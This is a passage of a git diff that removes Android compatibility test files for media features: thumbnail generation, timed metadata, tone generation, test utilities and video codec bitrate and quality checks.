-import android.util.Size;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-
-import junitparams.JUnitParamsRunner;
-import junitparams.Parameters;
-
-@AppModeFull(reason = "Instant apps cannot access the SD card")
-@RunWith(JUnitParamsRunner.class)
-public class ThumbnailUtilsTest {
-
-    private boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
-    private static final Size[] TEST_SIZES = new Size[] {
-            new Size(50, 50),
-            new Size(500, 500),
-            new Size(5000, 5000),
-    };
-
-    private File mDir;
-
-    private Object[] getSampleWithThumbnailForCreateImageThumbnail() {
-        return new Object[] {
-                "orientation_0.jpg",
-                "orientation_90.jpg",
-                "orientation_180.jpg",
-                "orientation_270.jpg",
-        };
-    }
-
-    private Object[] getStrippedSampleForCreateImageThumbnail() {
-        return new Object[] {
-                "orientation_stripped_0.jpg",
-                "orientation_stripped_90.jpg",
-                "orientation_stripped_180.jpg",
-                "orientation_stripped_270.jpg"
-
-        };
-    }
-
-    private Object[] getHEICSampleForCreateImageThumbnail() {
-        return new Object[] {
-                "orientation_heic_0.HEIC",
-                "orientation_heic_90.HEIC",
-                "orientation_heic_180.HEIC",
-                "orientation_heic_270.HEIC"
-
-        };
-    }
-
-    @Before
-    public void setUp() {
-        mDir = InstrumentationRegistry.getTargetContext().getExternalCacheDir();
-        mDir.mkdirs();
-        deleteContents(mDir);
-    }
-
-    @After
-    public void tearDown() {
-        deleteContents(mDir);
-    }
-
-    @Test
-    public void testCreateAudioThumbnail() throws Exception {
-        final File file = stageFile("testmp3.mp3", new File(mDir, "cts.mp3"));
-        for (Size size : TEST_SIZES) {
-            assertSaneThumbnail(size, ThumbnailUtils.createAudioThumbnail(file, size, null));
-        }
-    }
-
-    @Test
-    public void testCreateAudioThumbnail_SeparateFile() throws Exception {
-        final File file = stageFile("monotestmp3.mp3", new File(mDir, "audio.mp3"));
-        stageFile("volantis.jpg", new File(mDir, "AlbumArt.jpg"));
-
-        for (Size size : TEST_SIZES) {
-            assertSaneThumbnail(size, ThumbnailUtils.createAudioThumbnail(file, size, null));
-        }
-    }
-
-    @Test
-    public void testCreateAudioThumbnail_None() throws Exception {
-        final File file = stageFile("monotestmp3.mp3", new File(mDir, "cts.mp3"));
-        try {
-            ThumbnailUtils.createAudioThumbnail(file, TEST_SIZES[0], null);
-            fail("Somehow made a thumbnail out of nothing?");
-        } catch (IOException expected) {
-        }
-    }
-
-    @Test
-    public void testCreateImageThumbnail() throws Exception {
-        final File file = stageFile("volantis.jpg", new File(mDir, "cts.jpg"));
-        for (Size size : TEST_SIZES) {
-            assertSaneThumbnail(size, ThumbnailUtils.createImageThumbnail(file, size, null));
-        }
-    }
-
-    private static void assertOrientationForThumbnail(Bitmap bitmap) {
-        // All callers are expected to pass a Bitmap with an image of a black cup in the middle
-        // (left-to-right) upper portion, on a mostly non-black background. They use different
-        // EXIF orientations to achieve the same final image, and this verifies that the EXIF
-        // orientation was applied properly.
-        assertColorMostlyInRange(bitmap.getPixel(bitmap.getWidth() / 2, bitmap.getHeight() / 3),
-                0xFF202020 /* upperBound */, Color.BLACK);
-    }
-
-    @Test
-    @Parameters(method = "getSampleWithThumbnailForCreateImageThumbnail")
-    public void testCreateImageThumbnail_sampleWithThumbnail(final String res) throws Exception {
-        final File file = stageFile(res, new File(mDir, "cts.jpg"));
-        final Bitmap bitmap = ThumbnailUtils.createImageThumbnail(file, TEST_SIZES[0], null);
-
-        assertOrientationForThumbnail(bitmap);
-    }
-
-    @Test
-    @Parameters(method = "getStrippedSampleForCreateImageThumbnail")
-    public void testCreateImageThumbnail_strippedSample(final String res) throws Exception {
-        final File file = stageFile(res, new File(mDir, "cts.jpg"));
-        final Bitmap bitmap = ThumbnailUtils.createImageThumbnail(file, TEST_SIZES[0], null);
-
-        assertOrientationForThumbnail(bitmap);
-    }
-
-    @Test
-    @Parameters(method = "getHEICSampleForCreateImageThumbnail")
-    public void testCreateImageThumbnail_HEICSample(final String res) throws Exception {
-        if (!MediaUtils.hasDecoder(MIMETYPE_VIDEO_HEVC)) {
-            MediaUtils.skipTest("no video decoders for resource");
-            return;
-        }
-
-        final File file = stageFile(res, new File(mDir, "cts.heic"));
-        final Bitmap bitmap = ThumbnailUtils.createImageThumbnail(file, TEST_SIZES[0], null);
-
-        assertOrientationForThumbnail(bitmap);
-    }
-
-    @Test
-    public void testCreateImageThumbnailAvif() throws Exception {
-        if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
-        if (!MediaUtils.canDecodeVideo("AV1", 1920, 1080, 30)) {
-            MediaUtils.skipTest("No AV1 codec for 1080p");
-            return;
-        }
-        final File file = stageFile("sample.avif", new File(mDir, "cts.avif"));
-
-        for (Size size : TEST_SIZES) {
-            assertSaneThumbnail(size, ThumbnailUtils.createImageThumbnail(file, size, null));
-        }
-    }
-
-    @Test
-    public void testCreateVideoThumbnail() throws Exception {
-        final File file = stageFile(
-                "bbb_s1_720x480_mp4_h264_mp3_2mbps_30fps_aac_lc_5ch_320kbps_48000hz.mp4",
-                new File(mDir, "cts.mp4"));
-        for (Size size : TEST_SIZES) {
-            assertSaneThumbnail(size, ThumbnailUtils.createVideoThumbnail(file, size, null));
-        }
-    }
-
-    private static File stageFile(final String res, File file) throws IOException {
-        final String mInpPrefix = WorkDir.getMediaDirString();
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        try (InputStream source = new FileInputStream(mInpPrefix + res);
-                OutputStream target = new FileOutputStream(file)) {
-            android.os.FileUtils.copy(source, target);
-        }
-        return file;
-    }
-
-    private static void deleteContents(File dir) {
-        File[] files = dir.listFiles();
-        if (files != null) {
-            for (File file : files) {
-                if (file.isDirectory()) {
-                    deleteContents(file);
-                }
-                file.delete();
-            }
-        }
-    }
-
-    private static void assertSaneThumbnail(Size expected, Bitmap actualBitmap) {
-        final Size actual = new Size(actualBitmap.getWidth(), actualBitmap.getHeight());
-        final int maxWidth = (expected.getWidth() * 3) / 2;
-        final int maxHeight = (expected.getHeight() * 3) / 2;
-        if ((actual.getWidth() > maxWidth) || (actual.getHeight() > maxHeight)) {
-            fail("Actual " + actual + " differs too much from expected " + expected);
-        }
-    }
-
-    private static void assertColorMostlyInRange(@ColorInt int actual, @ColorInt int upperBound,
-            @ColorInt int lowerBound) {
-        assertTrue(Color.alpha(lowerBound) <= Color.alpha(actual)
-                && Color.alpha(actual) <= Color.alpha(upperBound));
-        assertTrue(Color.red(lowerBound) <= Color.red(actual)
-                && Color.red(actual) <= Color.red(upperBound));
-        assertTrue(Color.green(lowerBound) <= Color.green(actual)
-                && Color.green(actual) <= Color.green(upperBound));
-        assertTrue(Color.blue(lowerBound) <= Color.blue(actual)
-                && Color.blue(actual) <= Color.blue(upperBound));
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java b/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java
deleted file mode 100644
index 1e4d035..0000000
--- a/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.TimedMetaData;
-import android.test.AndroidTestCase;
-
-import java.nio.charset.StandardCharsets;
-
-/**
- * Tests for TimedMetaData.
- */
-@NonMediaMainlineTest
-public class TimedMetaDataTest extends AndroidTestCase {
-    private static final String RAW_METADATA = "RAW_METADATA";
-
-    public void testTimedMetaData() {
-        TimedMetaData metadata = new TimedMetaData(1000, RAW_METADATA.getBytes());
-        assertEquals(1000, metadata.getTimestamp());
-        assertEquals(RAW_METADATA, new String(metadata.getMetaData(), StandardCharsets.UTF_8));
-    }
-
-    public void testTimedMetaDataNullMetaData() {
-        try {
-            TimedMetaData metadata = new TimedMetaData(0, null);
-        } catch (IllegalArgumentException e) {
-            // Expected
-            return;
-        }
-        fail();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java b/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java
deleted file mode 100644
index 4305d84..0000000
--- a/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.AudioManager;
-import android.media.ToneGenerator;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-
-@NonMediaMainlineTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class ToneGeneratorTest extends AndroidTestCase {
-
-    public void testSyncGenerate() throws Exception {
-        ToneGenerator toneGen = new ToneGenerator(AudioManager.STREAM_RING,
-                                                  ToneGenerator.MAX_VOLUME);
-
-        toneGen.startTone(ToneGenerator.TONE_PROP_BEEP2);
-        final long DELAYED = 1000;
-        Thread.sleep(DELAYED);
-        toneGen.stopTone();
-        toneGen.release();
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/Utils.java b/tests/tests/media/src/android/media/cts/Utils.java
deleted file mode 100644
index 63c6e32..0000000
--- a/tests/tests/media/src/android/media/cts/Utils.java
+++ /dev/null
@@ -1,198 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.app.Instrumentation;
-import android.app.NotificationManager;
-import android.app.UiAutomation;
-import android.content.Context;
-import android.media.AudioManager;
-import android.media.AudioPlaybackConfiguration;
-import android.media.MediaPlayer;
-import android.media.session.MediaSessionManager.RemoteUserInfo;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import androidx.test.platform.app.InstrumentationRegistry;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.List;
-import java.util.Scanner;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-import junit.framework.Assert;
-
-public class Utils {
-    private static final String TAG = "CtsMediaTestUtil";
-    private static final int TEST_TIMING_TOLERANCE_MS = 500;
-    private static final String MEDIA_PATH_INSTR_ARG_KEY = "media-path";
-
-    public static void enableAppOps(String packageName, String operation,
-            Instrumentation instrumentation) {
-        setAppOps(packageName, operation, instrumentation, true);
-    }
-
-    public static void disableAppOps(String packageName, String operation,
-            Instrumentation instrumentation) {
-        setAppOps(packageName, operation, instrumentation, false);
-    }
-
-    public static String convertStreamToString(InputStream is) {
-        try (Scanner scanner = new Scanner(is).useDelimiter("\\A")) {
-            return scanner.hasNext() ? scanner.next() : "";
-        }
-    }
-
-    public static String getMediaPath() {
-        Bundle bundle = InstrumentationRegistry.getArguments();
-        String mediaPath = bundle.getString(MEDIA_PATH_INSTR_ARG_KEY);
-        Log.i(TAG, "Media Path value is: " + mediaPath);
-
-        if (mediaPath != null && !mediaPath.isEmpty()) {
-            if (mediaPath.startsWith("http") || mediaPath.startsWith("file")) {
-                return mediaPath;
-            }
-            // Otherwise, assume a file path that is not already Uri formatted
-            return Uri.fromFile(new File(mediaPath)).toString();
-        }
-        return "https://storage.googleapis.com/wvmedia";
-    }
-
-    private static void setAppOps(String packageName, String operation,
-            Instrumentation instrumentation, boolean enable) {
-        StringBuilder cmd = new StringBuilder();
-        cmd.append("appops set ");
-        cmd.append(packageName);
-        cmd.append(" ");
-        cmd.append(operation);
-        cmd.append(enable ? " allow" : " deny");
-        instrumentation.getUiAutomation().executeShellCommand(cmd.toString());
-
-        StringBuilder query = new StringBuilder();
-        query.append("appops get ");
-        query.append(packageName);
-        query.append(" ");
-        query.append(operation);
-        String queryStr = query.toString();
-
-        String expectedResult = enable ? "allow" : "deny";
-        String result = "";
-        while(!result.contains(expectedResult)) {
-            ParcelFileDescriptor pfd = instrumentation.getUiAutomation().executeShellCommand(
-                                                            queryStr);
-            InputStream inputStream = new FileInputStream(pfd.getFileDescriptor());
-            result = convertStreamToString(inputStream);
-        }
-    }
-
-    protected static void toggleNotificationPolicyAccess(String packageName,
-            Instrumentation instrumentation, boolean on) throws IOException {
-
-        String command = " cmd notification " + (on ? "allow_dnd " : "disallow_dnd ") + packageName;
-
-        // Get permission to enable accessibility
-        UiAutomation uiAutomation = instrumentation.getUiAutomation();
-        // Execute command
-        try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
-            Assert.assertNotNull("Failed to execute shell command: " + command, fd);
-            // Wait for the command to finish by reading until EOF
-            try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
-                byte[] buffer = new byte[4096];
-                while (in.read(buffer) > 0) {}
-            } catch (IOException e) {
-                throw new IOException("Could not read stdout of command: " + command, e);
-            }
-        } finally {
-            uiAutomation.destroy();
-        }
-
-        NotificationManager nm = (NotificationManager) instrumentation.getContext()
-                .getSystemService(Context.NOTIFICATION_SERVICE);
-        Assert.assertEquals("Wrote setting should be the same as the read one", on,
-                nm.isNotificationPolicyAccessGranted());
-    }
-
-    static boolean compareRemoteUserInfo(RemoteUserInfo a, RemoteUserInfo b) {
-        if (a == null && b == null) {
-            return true;
-        } else if (a == null || b == null) {
-            return false;
-        }
-        return a.getPackageName().equals(b.getPackageName())
-                && a.getPid() == b.getPid()
-                && a.getUid() == b.getUid();
-    }
-
-    /**
-     * Assert that a media playback is started and an active {@link AudioPlaybackConfiguration}
-     * is created once. The playback will be stopped immediately after that.
-     * <p>For a media session to receive media button events, an actual playback is needed.
-     */
-    @AppModeFull(reason = "Instant apps cannot access the SD card")
-    static void assertMediaPlaybackStarted(Context context) {
-        final AudioManager am = new AudioManager(context);
-        final HandlerThread handlerThread = new HandlerThread(TAG);
-        handlerThread.start();
-        final TestAudioPlaybackCallback callback = new TestAudioPlaybackCallback();
-        MediaPlayer mediaPlayer = null;
-        final String mInpPrefix = WorkDir.getMediaDirString();
-
-        try {
-            final int activeConfigSizeBeforeStart = am.getActivePlaybackConfigurations().size();
-            final Handler handler = new Handler(handlerThread.getLooper());
-
-            am.registerAudioPlaybackCallback(callback, handler);
-            mediaPlayer = MediaPlayer.create(context, Uri.fromFile(new File(mInpPrefix +
-                    "sine1khzm40db.wav")));
-            mediaPlayer.start();
-            if (!callback.mCountDownLatch.await(TEST_TIMING_TOLERANCE_MS, TimeUnit.MILLISECONDS)
-                    || callback.mActiveConfigSize != activeConfigSizeBeforeStart + 1) {
-                Assert.fail("Failed to create an active AudioPlaybackConfiguration");
-            }
-        } catch (InterruptedException e) {
-            Assert.fail("Failed to create an active AudioPlaybackConfiguration");
-        } finally {
-            am.unregisterAudioPlaybackCallback(callback);
-            if (mediaPlayer != null) {
-                mediaPlayer.stop();
-                mediaPlayer.release();
-                mediaPlayer = null;
-            }
-            handlerThread.quitSafely();
-        }
-    }
-
-    private static class TestAudioPlaybackCallback extends AudioManager.AudioPlaybackCallback {
-        private final CountDownLatch mCountDownLatch = new CountDownLatch(1);
-        private int mActiveConfigSize;
-
-        @Override
-        public void onPlaybackConfigChanged(List<AudioPlaybackConfiguration> configs) {
-            // For non-framework apps, only anonymized active AudioPlaybackCallbacks will be
-            // notified.
-            mActiveConfigSize = configs.size();
-            mCountDownLatch.countDown();
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/UtilsTest.java b/tests/tests/media/src/android/media/cts/UtilsTest.java
deleted file mode 100755
index 7dc89aa..0000000
--- a/tests/tests/media/src/android/media/cts/UtilsTest.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import android.media.Utils;
-import android.os.Handler;
-import android.os.HandlerThread;
-import androidx.test.runner.AndroidJUnit4;
-import java.util.concurrent.Executor;
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@NonMediaMainlineTest
-@RunWith(AndroidJUnit4.class)
-public class UtilsTest {
-    @Test
-    public void testListenerList() throws Exception {
-        // The ListenerList is a Test API only to enable a dedicated unit test
-        // to ensure it works as expected.
-        Utils.ListenerList<Long> listeners = new Utils.ListenerList();
-
-        final int[] resultEventCode = { 0 };
-        final long[] resultLong = { 0L };
-
-        final Object key = new Object();
-        final Semaphore semaphore = new Semaphore(0);
-
-        // Use a Handler for an executor (version 1).
-        final HandlerThread thread = new HandlerThread("Tester");
-        thread.start();
-        final Executor executor = new Executor() {
-            private final Handler mHandler = Handler.createAsync(thread.getLooper());
-            @Override
-            public void execute(Runnable runnable) {
-                mHandler.post(runnable);
-            }
-        };
-
-        listeners.add(key, executor, (int eventCode, Long l) -> {
-            resultEventCode[0] = eventCode;
-            resultLong[0] = l;
-            semaphore.release();
-        });
-
-        listeners.notify(1, 2L);
-        assertTrue("semaphore should have been triggered",
-            semaphore.tryAcquire(1 /* permits */, 1, TimeUnit.SECONDS));
-
-        assertEquals("event code must match", 1, resultEventCode[0]);
-        assertEquals("value must match", 2L, resultLong[0]);
-        listeners.remove(key);
-
-        assertFalse("semaphore should not have been triggered",
-            semaphore.tryAcquire(1 /* permits */, 250, TimeUnit.MILLISECONDS));
-
-        // should do nothing as we aren't listening.
-        listeners.notify(3, 4L);
-        assertEquals("event code must match", 1, resultEventCode[0]);
-        assertEquals("value must match", 2L, resultLong[0]);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/VideoCodecTest.java b/tests/tests/media/src/android/media/cts/VideoCodecTest.java
deleted file mode 100644
index 697d3ff..0000000
--- a/tests/tests/media/src/android/media/cts/VideoCodecTest.java
+++ /dev/null
@@ -1,754 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import java.io.File;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-
-/**
- * Verification test for video encoder and decoder.
- *
- * A raw yv12 stream is encoded at various settings and written to an IVF
- * file. Encoded stream bitrate and key frame interval are checked against target values.
- * The stream is later decoded by video decoder to verify frames are decodable and to
- * calculate PSNR values for various bitrates.
- */
-@MediaHeavyPresubmitTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class VideoCodecTest extends VideoCodecTestBase {
-
-    private static final String ENCODED_IVF_BASE = "football";
-    private static final String INPUT_YUV = null;
-    private static final String OUTPUT_YUV = SDCARD_DIR + File.separator +
-            ENCODED_IVF_BASE + "_out.yuv";
-
-    // YUV stream properties.
-    private static final int WIDTH = 320;
-    private static final int HEIGHT = 240;
-    private static final int FPS = 30;
-    // Default encoding bitrate.
-    private static final int BITRATE = 400000;
-    // List of bitrates used in quality and basic bitrate tests.
-    private static final int[] TEST_BITRATES_SET = { 300000, 500000, 700000, 900000 };
-    // Maximum allowed bitrate variation from the target value.
-    // Keep in sync with the variation at libmediandkjni/native_media_utils.h
-    // used in some tests along with BITRATE
-    private static final double MAX_BITRATE_VARIATION = 0.2;
-    // The tolerance varies by the bitrate, because lower bitrates interact with
-    // video quality standards introduced in Android 12.
-    private static final double[] MAX_CBR_BITRATE_VARIATIONS = { 0.20, 0.20, 0.20, 0.20 };
-    private static final double[] MAX_VBR_BITRATE_VARIATIONS = { 0.30, 0.20, 0.20, 0.20 };
-    // Average PSNR values for reference Google Video codec for the above bitrates.
-    private static final double[] REFERENCE_AVERAGE_PSNR = { 33.1, 35.2, 36.6, 37.8 };
-    // Minimum PSNR values for reference Google Video codec for the above bitrates.
-    private static final double[] REFERENCE_MINIMUM_PSNR = { 25.9, 27.5, 28.4, 30.3 };
-    // Maximum allowed average PSNR difference of encoder comparing to reference Google encoder.
-    private static final double MAX_AVERAGE_PSNR_DIFFERENCE = 2;
-    // Maximum allowed minimum PSNR difference of encoder comparing to reference Google encoder.
-    private static final double MAX_MINIMUM_PSNR_DIFFERENCE = 4;
-    // Maximum allowed average PSNR difference of the encoder running in a looper thread with 0 ms
-    // buffer dequeue timeout comparing to the encoder running in a callee's thread with 100 ms
-    // buffer dequeue timeout.
-    private static final double MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE = 1.5;
-    // Maximum allowed minimum PSNR difference of the encoder running in a looper thread
-    // comparing to the encoder running in a callee's thread.
-    private static final double MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE = 2;
-    // Maximum allowed average key frame interval variation from the target value.
-    private static final int MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION = 1;
-    // Maximum allowed key frame interval variation from the target value.
-    private static final int MAX_KEYFRAME_INTERVAL_VARIATION = 3;
-
-    /**
-     * A basic test for Video encoder.
-     *
-     * Encodes 9 seconds of raw stream with default configuration options,
-     * and then decodes it to verify the bitstream.
-     * Verifies the average bitrate is within allowed MAX_BITRATE_VARIATIONS[] of
-     * the target value.
-     */
-    private void internalTestBasic(String codecMimeType, int bitRateMode) throws Exception {
-        int encodeSeconds = 9;
-        boolean skipped = true;
-
-        for (int i = 0; i < TEST_BITRATES_SET.length; i++) {
-            int targetBitrate = TEST_BITRATES_SET[i];
-
-            EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                    INPUT_YUV,
-                    ENCODED_IVF_BASE,
-                    codecMimeType,
-                    encodeSeconds,
-                    WIDTH,
-                    HEIGHT,
-                    FPS,
-                    bitRateMode,
-                    targetBitrate,
-                    true);
-            ArrayList<ByteBuffer> codecConfigs = new ArrayList<>();
-            ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params, codecConfigs);
-            if (bufInfo == null) {
-                continue;
-            }
-            skipped = false;
-
-            VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
-
-            if (params.bitrateType == VIDEO_ControlRateConstant) {
-                /* Constant bitrate -- variation applies to both over/under */
-                double allowedVariance = MAX_CBR_BITRATE_VARIATIONS[i];
-                assertEquals("Stream bitrate " + statistics.mAverageBitrate +
-                    " differs from the target " + targetBitrate
-                    + " by more than " + allowedVariance * targetBitrate,
-                    targetBitrate, statistics.mAverageBitrate,
-                    allowedVariance * targetBitrate);
-            } else if (params.bitrateType == VIDEO_ControlRateVariable
-                            && statistics.mAverageBitrate > targetBitrate) {
-                /* VIDEO_ControlRateVariable mode only checks over-run */
-                double allowedVariance = MAX_VBR_BITRATE_VARIATIONS[i];
-                assertEquals("Stream bitrate " + statistics.mAverageBitrate
-                    + " above target " + targetBitrate
-                    + " by more than " + allowedVariance * targetBitrate,
-                    targetBitrate, statistics.mAverageBitrate,
-                    allowedVariance * targetBitrate);
-            }
-
-            decode(params.outputIvfFilename, null, codecMimeType, FPS,
-                    params.forceGoogleEncoder, codecConfigs);
-        }
-
-        if (skipped) {
-            Log.i(TAG, "SKIPPING testBasic(): codec is not supported");
-        }
-    }
-
-    /**
-     * Asynchronous encoding test for Video encoder.
-     *
-     * Encodes 9 seconds of raw stream using synchronous and asynchronous calls.
-     * Checks the PSNR difference between the encoded and decoded output and reference yuv input
-     * does not change much for two different ways of the encoder call.
-     */
-    private void internalTestAsyncEncoding(String codecMimeType, int bitRateMode) throws Exception {
-        int encodeSeconds = 9;
-
-        // First test the encoder running in a looper thread with buffer callbacks enabled.
-        boolean syncEncoding = false;
-        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                INPUT_YUV,
-                ENCODED_IVF_BASE,
-                codecMimeType,
-                encodeSeconds,
-                WIDTH,
-                HEIGHT,
-                FPS,
-                bitRateMode,
-                BITRATE,
-                syncEncoding);
-        ArrayList<ByteBuffer> codecConfigs = new ArrayList<>();
-        ArrayList<MediaCodec.BufferInfo> bufInfos = encodeAsync(params, codecConfigs);
-        if (bufInfos == null) {
-            Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
-            return;
-        }
-        computeEncodingStatistics(bufInfos);
-        decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS,
-                params.forceGoogleEncoder, codecConfigs);
-        VideoDecodingStatistics statisticsAsync = computeDecodingStatistics(
-                params.inputYuvFilename, "football_qvga.yuv", OUTPUT_YUV,
-                params.frameWidth, params.frameHeight);
-
-
-        // Test the encoder running in a callee's thread.
-        syncEncoding = true;
-        params = getDefaultEncodingParameters(
-                INPUT_YUV,
-                ENCODED_IVF_BASE,
-                codecMimeType,
-                encodeSeconds,
-                WIDTH,
-                HEIGHT,
-                FPS,
-                bitRateMode,
-                BITRATE,
-                syncEncoding);
-        codecConfigs.clear();
-        bufInfos = encode(params, codecConfigs);
-        if (bufInfos == null) {
-            Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
-            return;
-        }
-        computeEncodingStatistics(bufInfos);
-        decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS,
-                params.forceGoogleEncoder, codecConfigs);
-        VideoDecodingStatistics statisticsSync = computeDecodingStatistics(
-                params.inputYuvFilename, "football_qvga.yuv", OUTPUT_YUV,
-                params.frameWidth, params.frameHeight);
-
-        // Check PSNR difference.
-        Log.d(TAG, "PSNR Average: Async: " + statisticsAsync.mAveragePSNR +
-                ". Sync: " + statisticsSync.mAveragePSNR);
-        Log.d(TAG, "PSNR Minimum: Async: " + statisticsAsync.mMinimumPSNR +
-                ". Sync: " + statisticsSync.mMinimumPSNR);
-        if ((Math.abs(statisticsAsync.mAveragePSNR - statisticsSync.mAveragePSNR) >
-            MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE) ||
-            (Math.abs(statisticsAsync.mMinimumPSNR - statisticsSync.mMinimumPSNR) >
-            MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE)) {
-            throw new RuntimeException("Difference between PSNRs for async and sync encoders");
-        }
-    }
-
-    /**
-     * Check if MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME is honored.
-     *
-     * Encodes 9 seconds of raw stream and requests a sync frame every second (30 frames).
-     * The test does not verify the output stream.
-     */
-    private void internalTestSyncFrame(
-            String codecMimeType, int bitRateMode, boolean useNdk) throws Exception {
-        int encodeSeconds = 9;
-
-        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                INPUT_YUV,
-                ENCODED_IVF_BASE,
-                codecMimeType,
-                encodeSeconds,
-                WIDTH,
-                HEIGHT,
-                FPS,
-                bitRateMode,
-                BITRATE,
-                true);
-        params.syncFrameInterval = encodeSeconds * FPS;
-        params.syncForceFrameInterval = FPS;
-        params.useNdk = useNdk;
-        ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
-        if (bufInfo == null) {
-            Log.i(TAG, "SKIPPING testSyncFrame(): no suitable encoder found");
-            return;
-        }
-
-        VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
-
-        // First check if we got expected number of key frames.
-        int actualKeyFrames = statistics.mKeyFrames.size();
-        if (actualKeyFrames != encodeSeconds) {
-            throw new RuntimeException("Number of key frames " + actualKeyFrames +
-                    " is different from the expected " + encodeSeconds);
-        }
-
-        // Check key frame intervals:
-        // Average value should be within +/- 1 frame of the target value,
-        // maximum value should not be greater than target value + 3,
-        // and minimum value should not be less that target value - 3.
-        if (Math.abs(statistics.mAverageKeyFrameInterval - FPS) >
-            MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION ||
